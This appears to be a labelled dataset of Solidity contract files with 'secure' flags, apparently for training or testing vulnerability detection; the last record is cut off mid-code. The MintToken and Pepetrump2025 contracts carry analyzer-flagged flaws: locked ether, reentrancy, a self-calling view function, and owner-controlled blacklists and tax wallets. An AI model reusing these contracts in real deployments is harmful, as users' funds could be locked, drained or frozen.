files dict |
|---|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary EnumerableSet {\n struct Set {\n bytes32[] _values;\n mapping(bytes32 value => uint256) _positions;\n }\n\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n\n set._positions[value] = set._values.length;\n\n return true;\n } else {\n return false;\n }\n }\n\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n uint256 position = set._positions[value];\n\n if (position != 0) {\n uint256 valueIndex = position - 1;\n\n uint256 lastIndex = set._values.length - 1;\n\n if (valueIndex != lastIndex) {\n bytes32 lastValue = set._values[lastIndex];\n\n set._values[valueIndex] = lastValue;\n\n set._positions[lastValue] = position;\n }\n\n set._values.pop();\n\n delete set._positions[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n function _contains(\n Set storage set,\n bytes32 value\n ) private view returns (bool) {\n return set._positions[value] != 0;\n }\n\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n function _at(\n Set storage set,\n uint256 index\n ) private view returns (bytes32) {\n return set._values[index];\n }\n\n function _values(Set storage set) private view returns (bytes32[] memory) {\n return set._values;\n }\n\n struct Bytes32Set {\n Set _inner;\n }\n\n function add(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n function remove(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n function contains(\n Bytes32Set storage set,\n bytes32 value\n ) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n Bytes32Set storage set,\n uint256 index\n ) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n function values(\n Bytes32Set storage set\n ) internal view returns (bytes32[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n bytes32[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n\n struct AddressSet {\n Set _inner;\n }\n\n function add(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function remove(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function contains(\n AddressSet storage set,\n address value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n AddressSet storage set,\n uint256 index\n ) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n function values(\n AddressSet storage set\n ) internal view returns (address[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n address[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n\n struct UintSet {\n Set _inner;\n }\n\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n function remove(\n UintSet storage set,\n uint256 value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n function contains(\n UintSet storage set,\n uint256 value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n UintSet storage set,\n uint256 index\n ) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n\n function values(\n UintSet storage set\n ) internal view returns (uint256[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n uint256[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n}",
"file_name": "solidity_code_699.sol",
"secure": 1,
"size_bytes": 5227
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}",
"file_name": "solidity_code_7.sol",
"secure": 1,
"size_bytes": 196
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract FreeMintToken is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 210000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 21000000 * 1 ether;\n\n mapping(address => uint256) public numMinted;\n\n constructor() ERC20(\"XXXX\", \"XX\") {}\n\n function mint() external {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(numMinted[msg.sender] < 10, \"Address minted 10\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n numMinted[msg.sender] = numMinted[msg.sender] + 1;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n}",
"file_name": "solidity_code_70.sol",
"secure": 1,
"size_bytes": 888
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface MintError {\n error CapError();\n\n error MintedError();\n\n error ProxyError();\n\n error BalanceError();\n\n error TransferError();\n}",
"file_name": "solidity_code_700.sol",
"secure": 1,
"size_bytes": 229
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}",
"file_name": "solidity_code_701.sol",
"secure": 1,
"size_bytes": 539
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IMintRandomReward {\n function randomReward() external returns (uint256);\n}\n",
"file_name": "solidity_code_702.sol",
"secure": 1,
"size_bytes": 159
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./MintError.sol\" as MintError;\nimport \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\" as EnumerableSet;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"./IMintRandomReward.sol\" as IMintRandomReward;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 0db1741): Contract locking ether found Contract MintToken has payable functions MintToken.mint() But does not have a function to withdraw the ether\n// Recommendation for 0db1741: Remove the 'payable' attribute or add a withdraw function.\ncontract MintToken is ERC20, Ownable, MintError {\n using EnumerableSet for EnumerableSet.AddressSet;\n\n uint256 public constant MAX_SUPPLY = 3000_0000_0000 * 1 ether;\n\n uint256 public constant MINT_BALANCE = 0.05 ether;\n\n address public constant ROUTER02 =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a2e2605): MintToken._team should be immutable \n\t// Recommendation for a2e2605: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _team;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f9263a): MintToken.trading should be constant \n\t// Recommendation for 2f9263a: Add the 'constant' attribute to state variables that never change.\n bool trading;\n\n\t// WARNING Optimization Issue (constable-states | ID: c5eb0cb): MintToken.minted should be constant \n\t// Recommendation for c5eb0cb: Add the 'constant' attribute to state variables that never change.\n uint256 public minted;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 00b3d27): MintToken._random should be immutable \n\t// Recommendation for 00b3d27: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IMintRandomReward _random;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b7d395): MintToken.depositLast should be constant \n\t// Recommendation for 2b7d395: Add the 'constant' attribute to state variables that never change.\n uint256 public depositLast;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ab6ca8e): MintToken.round should be immutable \n\t// Recommendation for ab6ca8e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public round;\n\n address[] _depositList;\n\n mapping(address => uint256) _linkAmounts;\n\n\t// WARNING Optimization Issue (constable-states | ID: e73ec66): MintToken._claimIndex should be constant \n\t// Recommendation for e73ec66: Add the 'constant' attribute to state variables that never change.\n uint256 _claimIndex;\n\n mapping(address => mapping(uint256 => bool)) private hasMinted;\n\n mapping(address => UserInfo) _userInfos;\n\n struct UserInfo {\n uint256 amountD;\n uint256 amountCA;\n uint256 amountCD;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0a380ea): MintToken.constructor(address) ignores return value by IUniswapV2Factory(IUniswapV2Router02(ROUTER02).factory()).createPair(address(this),IUniswapV2Router02(ROUTER02).WETH())\n\t// Recommendation for 0a380ea: Ensure that all the return values of the function calls are used.\n constructor(\n address random_\n ) ERC20(\"BeastKing\", \"BeastKing\") Ownable(msg.sender) {\n _approve(address(this), ROUTER02, type(uint256).max);\n\n _random = IMintRandomReward(random_);\n\n\t\t// unused-return | ID: 0a380ea\n IUniswapV2Factory(IUniswapV2Router02(ROUTER02).factory()).createPair(\n address(this),\n IUniswapV2Router02(ROUTER02).WETH()\n );\n\n round = 0;\n\n _team = msg.sender;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 0db1741): Contract locking ether found Contract MintToken has payable functions MintToken.mint() But does not have a function to withdraw the ether\n\t// Recommendation for 0db1741: Remove the 'payable' attribute or add a withdraw function.\n function mint() external payable {\n require(\n msg.value == (round == 0 ? MINT_BALANCE : round * 3 * MINT_BALANCE),\n BalanceError()\n );\n\n require(!hasMinted[msg.sender][round], MintedError());\n\n require(msg.sender == tx.origin, ProxyError());\n\n uint256 _amount = _random.randomReward();\n\n require(minted + _amount <= MAX_SUPPLY, CapError());\n\n hasMinted[msg.sender][round] = true;\n\n if (round > 0) {\n if (balanceOf(address(this)) < _amount) {\n revert BalanceError();\n }\n\n _transfer(address(this), msg.sender, _amount);\n\n uint256 _tmp = _amount;\n\n for (uint256 i = _claimIndex; i < _depositList.length; ) {\n address _addr = _depositList[i];\n\n uint256 _link = _linkAmounts[_addr];\n\n if (_link == 0) {\n unchecked {\n i++;\n\n _claimIndex++;\n }\n\n continue;\n }\n\n if (_tmp > _link) {\n _linkAmounts[_addr] = 0;\n\n unchecked {\n _claimIndex++;\n\n _tmp -= _link;\n }\n\n unchecked {\n _userInfos[msg.sender].amountCA +=\n (_link * msg.value) /\n _amount;\n }\n } else {\n _linkAmounts[_addr] -= _link;\n\n unchecked {\n _userInfos[msg.sender].amountCA +=\n (_link * msg.value) /\n _amount;\n }\n\n return;\n }\n\n unchecked {\n i++;\n }\n }\n\n _nextRound();\n\n return;\n }\n\n uint256 _teamA = (_amount * 8) / 100;\n\n _mint(_team, _teamA);\n\n _mint(msg.sender, _amount - _teamA);\n\n unchecked {\n minted += _amount;\n }\n\n _addLP();\n }\n\n function _addLP() internal {\n _mint(address(this), 200_0000 ether);\n\n IUniswapV2Router02(ROUTER02).addLiquidityETH{value: MINT_BALANCE}(\n address(this),\n 200_0000 ether,\n 0,\n 0,\n address(0xdead),\n block.timestamp\n );\n }\n\n function openTrade() public onlyOwner {\n trading = true;\n\n _burn(address(this), balanceOf(address(this)));\n\n depositLast = block.timestamp;\n\n unchecked {\n round++;\n }\n }\n\n function nextRound() public onlyOwner {\n if (block.timestamp >= depositLast + 3 days) {\n unchecked {\n depositLast += 3 days;\n\n round++;\n }\n }\n }\n\n function _nextRound() internal {\n if (block.timestamp >= depositLast + 3 days) {\n unchecked {\n depositLast += 3 days;\n\n round++;\n }\n }\n }\n\n function lock(uint256 amount) external {\n require(msg.sender == tx.origin, ProxyError());\n\n require(amount > 0, BalanceError());\n\n uint256 _burnA = (amount * 8) / 100;\n\n _transfer(msg.sender, address(0xdead), _burnA);\n\n amount -= _burnA;\n\n _transfer(msg.sender, address(this), amount);\n\n if (_linkAmounts[msg.sender] == 0) {\n _depositList.push(msg.sender);\n }\n\n unchecked {\n _linkAmounts[msg.sender] += amount;\n }\n\n unchecked {\n _userInfos[msg.sender].amountD += amount;\n }\n }\n\n function unlock() external {\n require(msg.sender == tx.origin, ProxyError());\n\n uint256 _amount = _linkAmounts[msg.sender];\n\n require(_amount >= 0, BalanceError());\n\n _linkAmounts[msg.sender] = 0;\n\n _transfer(address(this), msg.sender, _amount);\n }\n\n function claim() external {\n require(msg.sender == tx.origin, ProxyError());\n\n uint256 _amount = _userInfos[msg.sender].amountCA;\n\n require(_amount >= 0, BalanceError());\n\n _userInfos[msg.sender].amountCA = 0;\n\n (bool s, ) = msg.sender.call{value: _amount}(\"\");\n\n require(s, BalanceError());\n\n _amount = _linkAmounts[msg.sender];\n\n if (_amount > 0) {\n _linkAmounts[msg.sender] = 0;\n\n _transfer(address(this), msg.sender, _amount);\n }\n\n unchecked {\n _userInfos[msg.sender].amountCD += _amount;\n }\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal virtual override {\n if (!trading && (from != address(0) && from != address(this))) {\n revert TransferError();\n }\n\n super._update(from, to, value);\n }\n\n function linkAmount(address account) public view returns (uint256) {\n return linkAmount(account);\n }\n\n function userInfoOf(address account) public view returns (UserInfo memory) {\n return _userInfos[account];\n }\n}",
"file_name": "solidity_code_703.sol",
"secure": 0,
"size_bytes": 9790
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MyToken is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"MyToken\", \"MOKOKO\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_704.sol",
"secure": 1,
"size_bytes": 588
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MyToken is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"MyToken\", \"MgOX\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_705.sol",
"secure": 1,
"size_bytes": 586
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Pepetrump2025 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 46663b8): pepetrump2025._taxWallet should be immutable \n\t// Recommendation for 46663b8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"PEPETRUMP2025\";\n\n string private constant _symbol = unicode\"PTRUMP2025\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 6777910): pepetrump2025._initialBuyTax should be constant \n\t// Recommendation for 6777910: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: c3af046): pepetrump2025._initialSellTax should be constant \n\t// Recommendation for c3af046: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c3340e1): pepetrump2025._reduceBuyTaxAt should be constant \n\t// Recommendation for c3340e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0ea42a): pepetrump2025._reduceSellTaxAt should be constant \n\t// Recommendation for e0ea42a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0690d19): pepetrump2025._preventSwapBefore should be constant \n\t// Recommendation for 0690d19: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f24ef81): pepetrump2025._taxSwapThreshold should be constant \n\t// Recommendation for f24ef81: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 200000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: aefeacb): pepetrump2025._maxTaxSwap should be constant \n\t// Recommendation for aefeacb: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8841d57): pepetrump2025.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8841d57: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9b90340): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9b90340: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3872d8b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3872d8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9b90340\n\t\t// reentrancy-benign | ID: 3872d8b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9b90340\n\t\t// reentrancy-benign | ID: 3872d8b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5004769): pepetrump2025._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5004769: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3872d8b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9b90340\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dc0ea21): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dc0ea21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1a70336): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1a70336: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f38aa28): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f38aa28: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the max WalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n\t\t\t\t// reentrancy-events | ID: dc0ea21\n\t\t\t\t// reentrancy-benign | ID: 1a70336\n\t\t\t\t// reentrancy-eth | ID: f38aa28\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: dc0ea21\n\t\t\t\t\t// reentrancy-eth | ID: f38aa28\n ETHBalance(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-benign | ID: 1a70336\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f38aa28\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f38aa28\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: dc0ea21\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f38aa28\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f38aa28\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: dc0ea21\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: dc0ea21\n\t\t// reentrancy-events | ID: 9b90340\n\t\t// reentrancy-benign | ID: 1a70336\n\t\t// reentrancy-benign | ID: 3872d8b\n\t\t// reentrancy-eth | ID: f38aa28\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function delTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ded09c6): pepetrump2025.ETHBalance(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ded09c6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function ETHBalance(uint256 amount) private {\n\t\t// reentrancy-events | ID: dc0ea21\n\t\t// reentrancy-events | ID: 9b90340\n\t\t// reentrancy-eth | ID: f38aa28\n\t\t// arbitrary-send-eth | ID: ded09c6\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7f76c58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7f76c58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7b35d89): pepetrump2025.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7b35d89: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 46a79e9): pepetrump2025.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 46a79e9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ce33369): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ce33369: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7f76c58\n\t\t// reentrancy-eth | ID: ce33369\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7f76c58\n\t\t// unused-return | ID: 7b35d89\n\t\t// reentrancy-eth | ID: ce33369\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7f76c58\n\t\t// unused-return | ID: 46a79e9\n\t\t// reentrancy-eth | ID: ce33369\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 7f76c58\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ce33369\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = 